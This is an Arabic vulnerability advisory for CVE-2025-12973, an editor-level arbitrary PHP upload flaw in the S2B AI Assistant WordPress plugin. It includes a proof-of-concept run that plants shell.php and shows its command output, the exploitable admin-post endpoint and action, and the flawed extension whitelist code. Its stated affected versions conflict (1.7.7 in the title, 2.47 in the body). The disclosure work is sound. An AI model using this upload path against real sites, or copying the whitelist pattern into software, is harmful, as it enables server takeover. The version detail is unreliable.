
S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - رفع ملف تعسفي للمستخدمين المصادق عليهم (محرر+)
إضافة ووردبريس S2B AI Assistant (الإصدارات 2.47 وما قبلها) تحتوي على ثغرة رفع ملفات تعسفي تسمح لمستخدمي ووردبريس المصادَق عليهم ممن يملكون دور المحرر أو أعلى برفع ملفات PHP خبيثة إلى الخادم، مما قد يؤدي إلى تنفيذ كود عن بُعد.
تم توفير إثبات مفهوم (POC) CVE-2025-12973.py لتوضيح قيام مهاجم عن بُعد برفع shell.php وتنفيذ كود عن بُعد:
python3 ./CVE-2025-12973.py http://techcorp.cc editor $PASSWORD
[+] Target: http://techcorp.cc
[+] Username: editor
[+] Nonce obtained: a15be47119
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/uploads/2025/11/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
توجد الثغرة في ملف Utils.php في الدالة storeFile()، والتي يتم استدعاؤها من نقطة النهاية /wp-admin/admin-post.php مع الإجراء s2b_store_chatbot_upload. تستخدم وظيفة الرفع قائمة بيضاء مخصصة لامتدادات الملفات تسمح صراحةً بأنواع ملفات خطيرة بما في ذلك ملفات PHP. وهذا يسمح لمستخدمي ووردبريس المصادَق عليهم ممن يملكون دور المحرر أو أعلى برفع ملفات تعسفية، بما في ذلك ملفات PHP التي يمكن تنفيذها على الخادم.
المصدر: مدخلات المستخدم من $_FILES['s2baia_chatbot_config_database'] (سطر 300)
المصب: $wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE) (سطر 344)
تحدث الثغرة للأسباب التالية:
AdminChatBotController.php.processAssistantUpload() مع طلب الرفع (سطر 1103).$_FILES['s2baia_chatbot_config_database'] مباشرةً دون تحقق مناسب.checkAllowedFilesearchExtensions() (سطر 320)، والذي يسمح صراحةً بامتداد .php (سطر 366).wp-content/uploads/YYYY/MM/.الملف: lib/helpers/Utils.php
الأسطر: 289-348
public static function storeFile($targetDir) {
global $wp_filesystem;
// Initialize WP_Filesystem
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
if (!WP_Filesystem()) {
return '';
}
if (!isset($_FILES) || !is_array($_FILES) || !isset($_FILES['s2baia_chatbot_config_database'])) { // SOURCE: User input ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
return '';
}
if (!isset($_FILES['s2baia_chatbot_config_database']['error']) || !isset($_FILES['s2baia_chatbot_config_database']['name']) || !isset($_FILES['s2baia_chatbot_config_database']['size']) || !isset($_FILES['s2baia_chatbot_config_database']['tmp_name'])) {
return '';
}
$chunk = isset($_REQUEST["chunk"]) ? (int) $_REQUEST["chunk"] : 0;
$name = sanitize_file_name($_FILES['s2baia_chatbot_config_database']['name']);
if (strlen($name) == 0) {
return '';
}
$finfo = pathinfo($name);
if (is_array($finfo)) {
$fname = sanitize_file_name($finfo['filename']);
$fext = $finfo['extension'];
if (!self::checkAllowedFilesearchExtensions($fext)) { // Only custom whitelist check ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320))
return '';
}
if ($wp_filesystem->exists($targetDir . DIRECTORY_SEPARATOR . $name)) {
$timest = time();
$name = $fname . '_' . $timest . '_' . random_int(1000, 9999) . '.' . $fext;
}
}
$tmp_name = sanitize_text_field($_FILES['s2baia_chatbot_config_database']['tmp_name']);
$outfile = $targetDir . DIRECTORY_SEPARATOR . $name;
// Open the output file and write contents using WP_Filesystem
if ($chunk === 0) {
$wp_filesystem->put_contents($outfile, '', FS_CHMOD_FILE);
}
// Read the temporary file and append its contents to the output file
$file_content = $wp_filesystem->get_contents($tmp_name);
if ($file_content === false) {
return '';
}
// Append content to the file
if (!$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)) { // SINK: Direct file write ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))
return '';
}
// Delete the temporary file using WordPress method
// ... rest of function
}
الملف: lib/helpers/Utils.php
الأسطر: 354-383
public static function checkAllowedFilesearchExtensions($ext) {
switch ($ext) {
case 'c':
case 'cs':
case 'cpp':
case 'doc':
case 'docx':
case 'html':
case 'java':
case 'json':
case 'md':
case 'pdf':
case 'php': // Explicitly allows PHP files ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366))
case 'pptx':
case 'py':
case 'rb':
case 'tex':
case 'txt':
case 'css':
case 'js':
case 'sh':
case 'ts':
return true;
default:
return false;
}
return false;
}